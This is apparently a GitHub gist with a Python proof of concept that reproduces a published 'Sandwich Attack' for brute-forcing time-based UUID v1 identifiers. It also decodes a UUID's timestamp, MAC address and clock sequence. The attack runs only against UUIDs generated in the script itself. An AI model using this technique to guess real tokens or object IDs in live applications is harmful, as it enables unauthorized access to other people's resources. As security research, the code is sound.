Skip to content

Instantly share code, notes, and snippets.

@righettod
Last active January 23, 2024 16:45
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save righettod/45d59e1d8eb83fe351a9e9aafb37f91f to your computer and use it in GitHub Desktop.
Save righettod/45d59e1d8eb83fe351a9e9aafb37f91f to your computer and use it in GitHub Desktop.
import uuid
import binascii
from datetime import datetime
"""
Python3 script trying to reproduce the "Sandwich Attack: A New Way Of Brute Forcing UUIDs"
described on "https://versprite.com/blog/universally-unique-identifiers/".
"""
NUM_100NS_INTERVALS_SINCE_UUID_EPOCH = 122192928000000000
def extract_uuid_infos(target_uuid):
infos = None
try:
# Verify that the parameter passed in a valid UUID
uuid_item = uuid.UUID(target_uuid)
version = uuid_item.version
infos = f"V{version} - '{target_uuid}' - "
# Extract infos based on version
if version == 1:
epch = (uuid_item.time - NUM_100NS_INTERVALS_SINCE_UUID_EPOCH) / 10000
dtime = datetime.fromtimestamp(epch / 1000)
node_part = target_uuid.split("-")[4]
mac = f"{node_part[0:2]}:{node_part[2:4]}:{node_part[4:6]}:{node_part[6:8]}:{node_part[8:10]}:{node_part[10:]}".upper()
infos += f"Generation time '{dtime}' - Node MAC Address '{mac}' - ClockID/ClockSequence '{uuid_item.clock_seq}'."
elif version == 2:
infos += "Least significant 8 bits of the clock sequence are replaced by a 'local domain' number and least significant 32 bits of the timestamp are replaced by an integer identifier meaningful within the specified local domain."
elif version == 3:
infos += "MD5(NAMESPACE_IDENTIFIER + NAME)."
elif version == 4:
infos += "UUID could be duplicated (low chances) so manual check needed for entropy potential issues."
elif version == 5:
infos += "SHA1(NAMESPACE_IDENTIFIER + NAME)."
else:
infos += " Unknown version."
except Exception:
infos = None
return infos
# Version of the POC fixing the "clock_seq" like in the article
print("==== POC v1: Fixed clock_seq")
item_1 = str(uuid.uuid1(clock_seq=1233))
item_to_find = str(uuid.uuid1(clock_seq=1233))
item_2 = str(uuid.uuid1(clock_seq=1233))
print(extract_uuid_infos(item_1))
print(extract_uuid_infos(item_to_find))
print(extract_uuid_infos(item_2))
start = int(item_1.split("-")[0],16)
end = int(item_2.split("-")[0],16)
base = item_1.split("-")
start_date = datetime.now()
print(f"Delta: {end-start}")
print(f"Start: {start_date}")
for i in range(start, end):
base[0] = hex(i)[2:]
value = "-".join(base)
if value == item_to_find:
print("Item Found!")
break
end_date = datetime.now()
print(f"End : {end_date}")
delay = end_date - start_date
print(f"Delay: {delay.total_seconds()} seconds")
# Version of the POC without fixing the "clock_seq"
# to mimic a standart call to python UUID V1 function
print("==== POC v2: Random clock_seq")
item_1 = str(uuid.uuid1())
item_to_find = str(uuid.uuid1())
item_2 = str(uuid.uuid1())
print(extract_uuid_infos(item_1))
print(extract_uuid_infos(item_to_find))
print(extract_uuid_infos(item_2))
start = int(item_1.split("-")[0],16)
end = int(item_2.split("-")[0],16)
base = item_1.split("-")
start_date = datetime.now()
print(f"Delta: {end-start}")
print(f"Start: {start_date}")
tentative_count = 0
i = end
found = False
# I have remarked that the identification of the item
# is more faster when I start for the END bound because
# the generation time of the searched item is more near of
# the last generated item
while not found and i > start:
base[0] = hex(i)[2:]
# 16384: During testing on clock_seq range of values,
# I have remarked that the clock_seq random value never reach a value >= 16384
for j in range(16384):
# Leverage the built-in UUID v1 function to compute the "clock_seq" value
# for the current "clock_seq" tried.
# Specify a node value in order to prevent the function to retrieve the local MAC address (gain time)
base[3] = str(uuid.uuid1(int(base[4],16), j)).split("-")[3]
value = "-".join(base)
tentative_count += 1
if value == item_to_find:
print("Item Found!")
found = True
i -= 1
end_date = datetime.now()
print(f"End : {end_date}")
delay = end_date - start_date
print(f"Delay: {delay.total_seconds() } seconds ({tentative_count} tentatives performed).")
@righettod
Copy link
Author

Execution example:

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment